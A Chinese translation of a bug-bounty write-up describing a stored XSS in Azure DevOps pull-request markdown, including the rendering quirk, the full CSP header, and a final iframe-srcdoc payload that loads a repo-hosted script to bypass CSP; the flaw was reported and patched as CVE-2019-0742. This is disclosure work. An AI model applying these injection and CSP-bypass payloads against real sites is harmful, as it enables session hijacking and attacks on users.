存储型xss_微软旗下协同平台Azure DevOps的存储型XSS漏洞(绕过CSP)

d96b221419e138d4d8c6ce6e6c7eea50.png

最近,微软启动了一个针对Azure DevOps的漏洞悬赏计划。在一个新的应用上找漏洞总是如此的吸引人。让我们开始吧!

我们的目标是https://dev.azure.com,这是一个由Microsoft开发的Git的web服务器。我在其中的markdown编辑器中发现了一个XSS漏洞。

当你创建一个Git的pull请求时,可以使用markdown添加一些注释。而由于网站markdown的渲染未能转义某些字符,最后导致出现XSS漏洞。

我用大量XSS的payload不停在markdown输入框进行复制粘贴来测试,发现浏览器会把我重定向到一个奇怪的URL。我试图找出最短的payload,经过多次尝试,我发现如果我把HTML代码放在2个$和一个%之间,那么这个HTML代码就会神奇地出现在回应页面中,例如:

$%<img src=1>$

c002f22ee02cad1b1feac433c5e4ab48.png

我尝试使用img标签的on error来触发XSS,但什么都没有发生。我在Chrome的控制台中看到了以下错误。

1?_a=overview:1 Refused to execute inline event handler because it violates the following Content Security Policy directive: "sc ript-src 'unsafe-inline' *.visualstudio.com *.dev.azure.com dev.azure.com https://cdn.vsassets.io https://vsassetscdn.azure.cn https://ms.gallery.vsassets.io https://ms.gallerycdn.vsassets.io https://ms.gallerycdn.azure.cn *.ensighten.com *.microsoft.com *.google-analytics.com 'nonce-JNv3ZUluxXSBwNijHMtlKg=='". Note that 'unsafe-inline' is ignored if either a hash or nonce value is present in the source list.

c2c5cd108bcf2f543d517c474b4454be.png

原来被CSP拦截了。貌似是因为unsafe-inline的原因。

而当我使用最原始的alert函数时,CSP表示这是一个unsafe-eval

0626c7434be13dd3145c0ed36471ddd4.png

OK,由于dev.azure.com本身在白名单中,所以我选择将插入代码的SRC指向一个包含payload的repo文件。

b1c5fe97aac304ceea4fe832b01596af.png

ec922caa6bcde1bc72aa0fde2079d562.png

??貌似sc ript受前端框架影响也不行。看样子我需要找到彻底绕过CSP的方法,或者绕过这个前端框架。

首先,完整的CSP规则如下:

content-security-policy: default-src 'none'; font-src *.visualstudio.com *.dev.azure.com dev.azure.com *.vsassets.io vsassetscdn.azure.cn ms.gallery.vsassets.io ms.gallerycdn.vsassets.io ms.gallerycdn.azure.cn *.microsoft.com *.sharepointonline.com; style-src 'unsafe-inline' *.visualstudio.com *.dev.azure.com dev.azure.com cdn.vsassets.io vsassetscdn.azure.cn ms.gallery.vsassets.io ms.gallerycdn.vsassets.io ms.gallerycdn.azure.cn; connect-src *.visualstudio.com wss://*.visualstudio.com *.dev.azure.com dev.azure.com wss://*.dev.azure.com wss://dev.azure.com *.vsassets.io vsassetscdn.azure.cn ms.gallery.vsassets.io ms.gallerycdn.vsassets.io ms.gallerycdn.azure.cn *.blob.core.windows.net; img-src http: https: blob: data:; sc ript-src 'unsafe-inline' *.visualstudio.com *.dev.azure.com dev.azure.com https://cdn.vsassets.io https://vsassetscdn.azure.cn https://ms.gallery.vsassets.io https://ms.gallerycdn.vsassets.io https://ms.gallerycdn.azure.cn *.ensighten.com *.microsoft.com *.google-analytics.com 'nonce-BByveBAMp0eRn6Ll29C7Lw=='; child-src * blob: tfs:; fr ame-src * blob: tfs:; media-src http: https:;

其中frame-src * blob: tfs:;引起了我的注意。难道if rame可以?

aea6bb73a42fc15ccf7de700eb251bfc.png

最后的payload

$
<iframe srcdoc="<sc ript src='https://dev.azure.com/md5_salt/deadbeef-1337-1337-1337-1337/_apis/git/repositories/deadbeef-1337-1337-1337-1337/Items?path=%2F1.js&versionDesc riptor%5BversionOptions%5D=0&versionDesc riptor%5BversionType%5D=0&versionDesc riptor%5Bversion%5D=master&download=true&resolveLfs=true&%24format=octetStream&api-version=5.0-preview.1'></sc ript>"></if rame>
$

微软在接到我的报告后,立马处理这个漏洞,并标记为CVE-2019-0742。

感谢你的阅读!

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场

来源:微软旗下协同平台Azure DevOps的存储型XSS漏洞(绕过CSP)

原文:https://5alt.me/2019/02/xss-in-azure-devops/

白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。

为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值